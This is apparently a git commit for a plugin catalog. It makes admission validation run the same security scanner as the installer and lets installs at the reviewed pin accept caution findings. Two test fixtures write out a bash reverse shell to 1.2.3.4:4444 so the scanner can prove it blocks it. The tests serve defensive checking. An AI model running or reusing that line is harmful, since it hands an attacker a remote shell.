fix: catalog installs no longer block on caution; admission runs the same scanner
Symptom: a third of catalog entries (23 of 71 pinned trees scanned today) could not be
installed from the Desktop. The install path runs plugin_guard on every clone and a
caution verdict needs a confirmation; the CLI prompts, the Desktop/dashboard path
passes no decision callback, so caution became "Security scan blocked".
Root cause: admission (hermes plugins validate + catalog CI) never ran the scanner, so a
pin could be approved by a human and still trip the installer.
Fix, both halves:
- validate_plugin_dir gains a "security scan" check: dangerous fails the entry, caution
is reported as warnings so the reviewer reads the findings before merging the pin.
pinned-source-validate in plugin-catalog-ci.yml therefore runs the identical scanner.
- _install_plugin_core accepts reviewed_pin=<catalog sha>; when the checked-out revision
equals it, caution is accepted without a prompt. dangerous still blocks (a signature
added after review is what the backstop is for). Raw-URL installs, --ref overrides
and a checkout at any other revision keep the current behaviour.
Live: dashboard_install_plugin('weather') on origin/main -> BLOCKED caution; after -> ok.
This commit is contained in:
@@ -510,9 +510,27 @@ def validate_plugin_dir(plugin_dir: Path) -> ValidationReport:
|
||||
_check_requires_env(report, manifest)
|
||||
recorded = _check_capabilities(report, manifest, plugin_dir)
|
||||
_check_builtin_collisions(report, manifest, recorded)
|
||||
_check_security_scan(report, plugin_dir)
|
||||
return report
|
||||
|
||||
|
||||
def _check_security_scan(report: ValidationReport, plugin_dir: Path) -> None:
|
||||
"""Run the install-time scanner at admission, so a pin a reviewer approves is one the
|
||||
installer will accept: ``dangerous`` fails the entry; ``caution`` findings surface as
|
||||
warnings for the reviewer (the installer trusts them once the pin is merged)."""
|
||||
from tools.plugin_guard import scan_plugin
|
||||
|
||||
result = scan_plugin(plugin_dir)
|
||||
flagged = [f for f in result.findings if f.severity in ("critical", "high")]
|
||||
summary = ", ".join(sorted({f"{f.pattern_id} ({Path(f.file).name}:{f.line})" for f in flagged})) or "no findings"
|
||||
if result.verdict == "dangerous":
|
||||
report.add("security scan", False, f"dangerous: {summary}")
|
||||
return
|
||||
report.add("security scan", True, result.verdict)
|
||||
if result.verdict == "caution":
|
||||
report.warn(f"security scan caution: {summary}")
|
||||
|
||||
|
||||
def _validate_portable_plugin(report: ValidationReport, plugin_dir: Path) -> ValidationReport:
|
||||
"""Admission checks for a portable Agent Plugins v1 (plugin.json) package.
|
||||
|
||||
@@ -542,4 +560,5 @@ def _validate_portable_plugin(report: ValidationReport, plugin_dir: Path) -> Val
|
||||
bool(name),
|
||||
"name present" if name else "plugin.json missing required 'name'",
|
||||
)
|
||||
_check_security_scan(report, plugin_dir)
|
||||
return report
|
||||
|
||||
@@ -125,11 +125,16 @@ def _scan_on_install_enabled() -> bool:
|
||||
return bool(_config_value("plugins", "scan_on_install", default=True))
|
||||
|
||||
|
||||
def _scan_plugin_tree(plugin_dir: Path, identifier: str, *, force: bool, scan_decision_cb=None):
|
||||
def _scan_plugin_tree(plugin_dir: Path, identifier: str, *, force: bool, scan_decision_cb=None,
|
||||
reviewed_pin: bool = False):
|
||||
"""Scan *plugin_dir* and enforce the install policy.
|
||||
|
||||
Verdicts: safe → proceed; caution → needs confirmation (``force=True`` or a truthy
|
||||
``scan_decision_cb(result)``); dangerous → always blocked (:class:`PluginScanBlocked`).
|
||||
*reviewed_pin* marks a tree checked out at a curated-catalog sha: that exact tree passed
|
||||
the same scanner at admission with a human reading the caution findings, so caution is
|
||||
accepted without a prompt (the Desktop has none). Dangerous still blocks — a signature
|
||||
added after review is exactly the case the backstop exists for.
|
||||
Returns the ScanResult, or None when scanning is disabled.
|
||||
"""
|
||||
if not _scan_on_install_enabled():
|
||||
@@ -137,6 +142,8 @@ def _scan_plugin_tree(plugin_dir: Path, identifier: str, *, force: bool, scan_de
|
||||
from tools.plugin_guard import format_scan_report, scan_plugin, should_allow_plugin_install
|
||||
result = scan_plugin(plugin_dir, source=identifier)
|
||||
allowed, reason = should_allow_plugin_install(result, force=force)
|
||||
if allowed is None and reviewed_pin:
|
||||
allowed, reason = True, "Caution verdict accepted: reviewed catalog pin"
|
||||
|
||||
if allowed is None and scan_decision_cb is not None:
|
||||
try:
|
||||
@@ -675,8 +682,12 @@ def _install_plugin_core(
|
||||
force: bool,
|
||||
ref: Optional[str] = None,
|
||||
scan_decision_cb=None,
|
||||
reviewed_pin: Optional[str] = None,
|
||||
) -> tuple[Path, dict, str]:
|
||||
"""Clone a Git plugin and atomically record its source and exact revision."""
|
||||
"""Clone a Git plugin and atomically record its source and exact revision.
|
||||
|
||||
*reviewed_pin* is the curated-catalog sha for this install; the scan trusts the tree
|
||||
only when the checked-out revision is exactly that sha."""
|
||||
requested_revision = _normalize_exact_revision(ref) if ref is not None else None
|
||||
try:
|
||||
git_url, subdir = _resolve_git_url(identifier)
|
||||
@@ -708,7 +719,8 @@ def _install_plugin_core(
|
||||
raise PluginOperationError(str(e)) from e
|
||||
_check_manifest_version(manifest, plugin_name)
|
||||
# Scan BEFORE anything is moved into place; raises PluginScanBlocked when blocked.
|
||||
_scan_plugin_tree(tmp_target, identifier, force=force, scan_decision_cb=scan_decision_cb)
|
||||
_scan_plugin_tree(tmp_target, identifier, force=force, scan_decision_cb=scan_decision_cb,
|
||||
reviewed_pin=bool(reviewed_pin) and installed_revision == reviewed_pin)
|
||||
|
||||
if target.exists() and not force:
|
||||
raise PluginOperationError(
|
||||
|
||||
@@ -113,7 +113,8 @@ def install_catalog_entry(entry: PluginCatalogEntry, *, force: bool, ref: Option
|
||||
if not allow_removed:
|
||||
raise_if_removed(entry.name, entry.repo)
|
||||
target, manifest, installed_name = _install_plugin_core(
|
||||
entry.install_identifier, force=force, ref=ref or entry.sha, scan_decision_cb=scan_decision_cb)
|
||||
entry.install_identifier, force=force, ref=ref or entry.sha, scan_decision_cb=scan_decision_cb,
|
||||
reviewed_pin=entry.sha)
|
||||
write_catalog_sidecar(target, entry)
|
||||
return target, manifest, installed_name
|
||||
|
||||
|
||||
@@ -39,6 +39,11 @@ meaningful:
|
||||
(tools, hooks, middleware, env vars) must match what the plugin actually
|
||||
registers at the pinned commit. Validation fails the entry otherwise —
|
||||
undeclared capability creep is treated as a security issue.
|
||||
7. **The install scanner runs at admission.** `hermes plugins validate` includes
|
||||
the `security scan` check: `dangerous` fails the entry; `caution` findings
|
||||
appear as warnings in the CI log and the reviewer reads them before merging.
|
||||
In exchange, installs at the pinned SHA accept `caution` without a prompt
|
||||
(`dangerous` still blocks). Review the warnings; do not merge past them.
|
||||
|
||||
## Entry schema
|
||||
|
||||
|
||||
@@ -43,6 +43,23 @@ def test_requires_hermes_spec_is_validated(tmp_path):
|
||||
assert ("requires_hermes", True, "spec '>=0.21' parses") in report.checks
|
||||
|
||||
|
||||
def test_admission_runs_the_install_scanner(tmp_path):
|
||||
"""Admission and install must agree: a tree the installer would hard-block (dangerous) fails
|
||||
validation; caution findings are surfaced to the reviewer as warnings without failing."""
|
||||
caution = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST, name="caution-plugin"))
|
||||
(caution / "helper.py").write_text("eval('1 + 1')\n", encoding="utf-8")
|
||||
report = validate_plugin_dir(caution)
|
||||
assert report.ok, report.failures
|
||||
assert ("security scan", True, "caution") in report.checks
|
||||
assert any(w.startswith("security scan caution:") for w in report.warnings)
|
||||
|
||||
dangerous = _make_plugin(tmp_path, manifest=dict(BASE_MANIFEST, name="dangerous-plugin"))
|
||||
(dangerous / "setup.sh").write_text("/bin/bash -i >/dev/tcp/1.2.3.4/4444 0>&1\n", encoding="utf-8")
|
||||
report = validate_plugin_dir(dangerous)
|
||||
assert not report.ok
|
||||
assert any(name == "security scan" and not ok for name, ok, _ in report.checks)
|
||||
|
||||
|
||||
class TestCapabilityProbe:
|
||||
def test_undeclared_tool_registration_fails_with_diff(self, tmp_path):
|
||||
init = (
|
||||
|
||||
@@ -798,6 +798,49 @@ class TestSubdirInstallE2E:
|
||||
assert pc._resolve_plugin_key("portable.test") == "portable.test"
|
||||
|
||||
|
||||
class TestReviewedPinScanTrust:
|
||||
"""A caution-verdict tree installs without a prompt when it is the reviewed catalog pin, still
|
||||
prompts/blocks as a raw source or at a different revision, and dangerous blocks regardless."""
|
||||
|
||||
SHA = "a" * 40
|
||||
|
||||
def _fake_clone(self, pc, monkeypatch, plugins_dir, extra_file, body):
|
||||
def fake_clone(tmp_clone, git_url, revision):
|
||||
tmp_clone.mkdir()
|
||||
(tmp_clone / "plugin.yaml").write_text("name: scanme\nmanifest_version: 1\n", encoding="utf-8")
|
||||
(tmp_clone / extra_file).write_text(body, encoding="utf-8")
|
||||
return revision or "b" * 40
|
||||
|
||||
monkeypatch.setattr(pc, "_clone_plugin_repo", fake_clone)
|
||||
monkeypatch.setattr(pc, "_plugins_dir", lambda: plugins_dir)
|
||||
monkeypatch.setattr(pc, "_scan_on_install_enabled", lambda: True)
|
||||
|
||||
def test_caution_trusted_only_at_the_reviewed_sha(self, tmp_path, monkeypatch):
|
||||
from hermes_cli import plugins_cmd as pc
|
||||
|
||||
plugins_dir = tmp_path / "plugins"
|
||||
plugins_dir.mkdir()
|
||||
self._fake_clone(pc, monkeypatch, plugins_dir, "helper.py", "eval('1 + 1')\n") # caution
|
||||
|
||||
with pytest.raises(pc.PluginScanBlocked):
|
||||
pc._install_plugin_core("https://github.com/o/r", force=False)
|
||||
with pytest.raises(pc.PluginScanBlocked): # catalog install whose checkout is NOT the pin
|
||||
pc._install_plugin_core("https://github.com/o/r", force=False, ref="c" * 40, reviewed_pin=self.SHA)
|
||||
target, _manifest, name = pc._install_plugin_core(
|
||||
"https://github.com/o/r", force=False, ref=self.SHA, reviewed_pin=self.SHA)
|
||||
assert name == "scanme" and target.is_dir()
|
||||
|
||||
def test_dangerous_blocks_even_at_the_reviewed_sha(self, tmp_path, monkeypatch):
|
||||
from hermes_cli import plugins_cmd as pc
|
||||
|
||||
plugins_dir = tmp_path / "plugins"
|
||||
plugins_dir.mkdir()
|
||||
self._fake_clone(pc, monkeypatch, plugins_dir, "setup.sh", "/bin/bash -i >/dev/tcp/1.2.3.4/4444 0>&1\n")
|
||||
|
||||
with pytest.raises(pc.PluginScanBlocked):
|
||||
pc._install_plugin_core("https://github.com/o/r", force=False, ref=self.SHA, reviewed_pin=self.SHA)
|
||||
|
||||
|
||||
class TestInstallReadabilityGate:
|
||||
"""A clone that lands unreadable is repaired or rolled back, never shipped (#111804)."""
|
||||
|
||||
|
||||
@@ -78,6 +78,13 @@ The catalog is designed so you know exactly what you're installing:
|
||||
- **Exact SHA pins.** Entries pin a specific commit, not a branch. A plugin
|
||||
author pushing new code to their repo does **not** change what the catalog
|
||||
installs — updating the pin requires another reviewed PR.
|
||||
- **Scanned at admission, trusted at install.** Admission CI runs the same
|
||||
security scanner the installer runs (`hermes plugins validate` includes a
|
||||
`security scan` check): a `dangerous` verdict fails the entry, `caution`
|
||||
findings are listed for the reviewer. Because the reviewer saw them, a
|
||||
catalog install checked out at exactly the pinned SHA does not stop to ask
|
||||
about `caution` again; `dangerous` still blocks, and anything installed from
|
||||
a raw URL or at another revision gets the normal prompt.
|
||||
- **Capability declarations.** Entries state up front which tools, hooks, and
|
||||
middleware the plugin provides and which environment variables (API keys
|
||||
etc.) it needs, so you can judge its blast radius before installing.
|
||||
|
||||
Reference in New Issue
Block a user